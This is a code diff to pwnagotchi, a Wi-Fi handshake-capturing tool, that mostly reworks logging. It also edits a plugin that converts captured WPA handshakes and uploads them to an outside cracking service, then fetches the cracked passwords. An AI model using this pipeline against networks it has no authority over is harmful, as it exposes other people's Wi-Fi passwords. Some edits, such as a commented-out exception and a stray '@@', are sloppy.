Performance improvements through less SD usage (mostly pwnagotchi.png and logging)

pwnagotchi/bettercap.py

@@ -29,7 +29,7 @@ def decode(r, verbose_errors=True):
             err = "error %d: %s" % (r.status_code, r.text.strip())
             if verbose_errors:
                 logging.info(err)
-            raise Exception(err)
+                #raise Exception(err)
         return r.text
 
 

pwnagotchi/cli.py

@@ -48,7 +48,8 @@ def do_auto_mode(agent):
         logging.info("entering auto mode ...")
 
         agent.mode = 'auto'
-        agent.last_session.parse(agent.view(), args.skip_session)  # show stats in AUTO
+        if agent.config().get('STATS_ON_AUTO', False):
+            agent.last_session.parse(agent.view(), args.skip_session)  # show stats in AUTO
         agent.start()
 
         while True:

pwnagotchi/log.py

@@ -2,11 +2,15 @@
 import time
 import re
 import os
+import sys
 import logging
+import logging.handlers
+import syslog
 import shutil
 import gzip
 import warnings
 from datetime import datetime
+from dateutil import parser as date_parser
 
 from pwnagotchi.voice import Voice
 from pwnagotchi.mesh.peer import Peer
@@ -30,6 +34,7 @@ def __init__(self, config):
         self.config = config
         self.voice = Voice(lang=config['main']['lang'])
         self.path = config['main']['log']['path']
+        self.log_type = config['main']['log']['type'].lower()
         self.last_session = []
         self.last_session_id = ''
         self.last_saved_session_id = ''
@@ -64,10 +69,19 @@ def save_session_id(self):
             self.last_saved_session_id = self.last_session_id
 
     def _parse_datetime(self, dt):
-        dt = dt.split('.')[0]
-        dt = dt.split(',')[0]
-        dt = datetime.strptime(dt.split('.')[0], '%Y-%m-%d %H:%M:%S')
-        return time.mktime(dt.timetuple())
+        try:
+            return time.mktime(date_parser.parse(dt))
+        except ValueError as ve:
+            logging.debug("%s: %s %s" % (dt,ve, sys.exc_info()))
+            dt = dt.split('.')[0]
+            dt = dt.split(',')[0]
+            try:
+                dt = datetime.strptime(dt.split('.')[0], '%Y-%m-%d %H:%M:%S')
+                return time.mktime(dt.timetuple())
+            except Exception as e:
+                # not a date
+                logging.debug("%s: %s" % (sys.exc_info(), e))
+                return time.time()
 
     def _parse_stats(self):
         self.duration = ''
@@ -91,7 +105,6 @@ def _parse_stats(self):
             parts = line.split(']')
             if len(parts) < 2:
                 continue
-
             try:
                 line_timestamp = parts[0].strip('[')
                 line = ']'.join(parts[1:])
@@ -173,6 +186,8 @@ def _parse_stats(self):
     def parse(self, ui, skip=False):
         if skip:
             logging.debug("skipping parsing of the last session logs ...")
+        elif self.log_type in ['syslog', 'console']:
+            logging.info("skipping last session stats with %s logging" % self.log_type)
         else:
             logging.debug("reading last session logs ...")
 
@@ -220,41 +235,54 @@ def setup_logging(args, config):
     filenameDebug = cfg['path-debug']
 
     #global formatter
+    formatter = logging.Formatter(cfg.get("format", "[%(asctime)s] [%(levelname)s] [%(threadName)s] : %(message)s"))
+    print("Format: %s" % cfg.get("format","<none>"))
+
     formatter = logging.Formatter("[%(asctime)s] [%(levelname)s] [%(threadName)s] : %(message)s")
+
     logger = logging.getLogger()
+
+    dbg = args.debug or cfg.get('debug', False)
 
     for handler in logger.handlers:
-        handler.setLevel(logging.DEBUG if args.debug else logging.INFO)
+        handler.setLevel(logging.DEBUG if dbg else logging.INFO)
         handler.setFormatter(formatter)
-
-
-    logger.setLevel(logging.DEBUG if args.debug else logging.INFO)
 
-    if filename:
-        # since python default log rotation might break session data in different files,
-        # we need to do log rotation ourselves
-        log_rotation(filename, cfg)
-        log_rotation(filenameDebug, cfg)
-
-
 
-        # File handler for logging all normal messages
-    file_handler = logging.FileHandler(filename) #creates new
-    file_handler.setLevel(logging.INFO)
-    file_handler.setFormatter(formatter)
-    logger.addHandler(file_handler)
-
-    # File handler for logging all debug messages
-    file_handler = logging.FileHandler(filenameDebug) #creates new
-    file_handler.setLevel(logging.DEBUG)
-    file_handler.setFormatter(formatter)
-    logger.addHandler(file_handler)
-
-    # Console handler for logging debug messages if args.debug is true else just log normal
-    #console_handler = logging.StreamHandler() #creates new
-    #console_handler.setLevel(logging.DEBUG if args.debug else logging.INFO)
-    #console_handler.setFormatter(formatter)
-    #logger.addHandler(console_handler)
+    logger.setLevel(logging.DEBUG if dbg else logging.INFO)
+    log_type = cfg.get("type", "files").strip().lower()    # files, syslog or console
+
+    if log_type == "syslog":
+        syslog_handler = logging.handlers.SysLogHandler(address='/dev/log', facility=syslog.LOG_USER)
+        syslog_handler.setLevel(logging.DEBUG if dbg else logging.INFO)
+        syslog_handler.setFormatter(formatter)
+        logger.addHandler(syslog_handler)
+
+    elif log_type == "console":
+        # Console handler for logging debug messages if args.debug is true else just log normal
+        console_handler = logging.StreamHandler() #creates new
+        console_handler.setLevel(logging.DEBUG if dbg else logging.INFO)
+        console_handler.setFormatter(formatter)
+        logger.addHandler(console_handler)
+
+    else: # default is using file and debug file
+        if filename:
+            # since python default log rotation might break session data in different files,
+            # we need to do log rotation ourselves
+            log_rotation(filename, cfg)
+            # File handler for logging all normal messages
+            file_handler = logging.FileHandler(filename) #creates new
+            file_handler.setLevel(logging.INFO)
+            file_handler.setFormatter(formatter)
+            logger.addHandler(file_handler)
+
+        if filenameDebug:
+            log_rotation(filenameDebug, cfg)
+            # File handler for logging all debug messages
+            file_handler = logging.FileHandler(filenameDebug) #creates new
+            file_handler.setLevel(logging.DEBUG)
+            file_handler.setFormatter(formatter)
+            logger.addHandler(file_handler)
 
     if not args.debug:
         # disable scapy and tensorflow logging

pwnagotchi/plugins/__init__.py

@@ -47,7 +47,8 @@ def __init__(self, plugin_name):
 
     def __del__(self):
         self.keep_going = False
-        self._worker_thread.join()
+        if self._worker_thread:
+            self._worker_thread.join()
         if self.load_handler:
             self.load_handler.join()
 

pwnagotchi/plugins/default/pwncrack.py

@@ -15,38 +15,50 @@ class UploadConvertPlugin(Plugin):
     def __init__(self):
         self.server_url = 'http://pwncrack.org/upload_handshake'  # Leave this as is
         self.potfile_url = 'http://pwncrack.org/download_potfile_script'  # Leave this as is
-        self.timewait = 600
+        self.timewait = 30
         self.last_run_time = 0
         self.options = dict()
 
     def on_loaded(self):
-        logging.info('[pwncrack] loading')
+        logging.info('[pwncrack] loading@@')
 
     def on_config_changed(self, config):
         self.handshake_dir = config["bettercap"].get("handshakes")
         self.key = self.options.get('key', "")  # Change this to your key
         self.whitelist = config["main"].get("whitelist", [])
         self.combined_file = os.path.join(self.handshake_dir, 'combined.hc22000')
         self.potfile_path = os.path.join(self.handshake_dir, 'cracked.pwncrack.potfile')
+        self.last_upload_path = os.path.join(self.handshake_dir, '.pwncrack_last_up')
 
     def on_internet_available(self, agent):
         current_time = time.time()
         remaining_wait_time = self.timewait - (current_time - self.last_run_time)
         if remaining_wait_time > 0:
-            logging.debug(f"[pwncrack] Waiting {remaining_wait_time:.1f} more seconds before next run.")
+            logging.info(f"[pwncrack] Waiting {remaining_wait_time:.1f} more seconds before next run.")
             return
         self.last_run_time = current_time
+
+        if self.key == "":
+            logging.warn("PWNCrack enabled, but no api key specified. Add a key to config.toml")
+            return
         logging.info(f"[pwncrack] Running upload process. Key: {self.key}, waiting: {self.timewait} seconds.")
         try:
             self._convert_and_upload()
             self._download_potfile()
         except Exception as e:
             logging.error(f"[pwncrack] Error occurred during upload process: {e}", exc_info=True)
 
+    def on_ready(self, agent):
+        self.on_internet_available(agent)
+
     def _convert_and_upload(self):
         # Convert all .pcap files to .hc22000, excluding files matching whitelist items
+        last_up_time = os.path.getmtime(self.last_upload_path) if os.path.isfile(self.last_upload_path) else 0
+
         pcap_files = [f for f in os.listdir(self.handshake_dir)
-                      if f.endswith('.pcap') and not any(item in f for item in self.whitelist)]
+                      if f.endswith('.pcap') and os.path.getmtime(os.path.join(self.handshake_dir,f)) > last_up_time and not any(item in f for item in self.whitelist)]
+        logging.info("Doing %s -> %s" % (self.whitelist, pcap_files))
+
         if pcap_files:
             for pcap_file in pcap_files:
                 subprocess.run(['hcxpcapngtool', '-o', self.combined_file, os.path.join(self.handshake_dir, pcap_file)])
@@ -60,9 +72,10 @@ def _convert_and_upload(self):
                 files = {'handshake': file}
                 data = {'key': self.key}
                 response = requests.post(self.server_url, files=files, data=data)
-
-            # Log the response
-            logging.info(f"[pwncrack] Upload response: {response.json()}")
+                # Log the response
+                logging.info(f"[pwncrack] Upload response({response.status_code}): {response.json()}")
+            with open(self.last_upload_path, 'w') as fout:
+                fout.write("\n".join(pcap_files))
             os.remove(self.combined_file)  # Remove the combined.hc22000 file
         else:
             logging.info("[pwncrack] No .pcap files found to convert (or all files are whitelisted).")
@@ -74,8 +87,7 @@ def _download_potfile(self):
                 file.write(response.text)
             logging.info(f"[pwncrack] Potfile downloaded to {self.potfile_path}")
         else:
-            logging.error(f"[pwncrack] Failed to download potfile: {response.status_code}")
-            logging.error(f"[pwncrack] {response.json()}")  # Log the error message from the server
+            logging.error(f"[pwncrack] Failed to download potfile ({response.status_code}): {response.json()}")
 
     def on_unload(self, ui):
         logging.info('[pwncrack] unloading')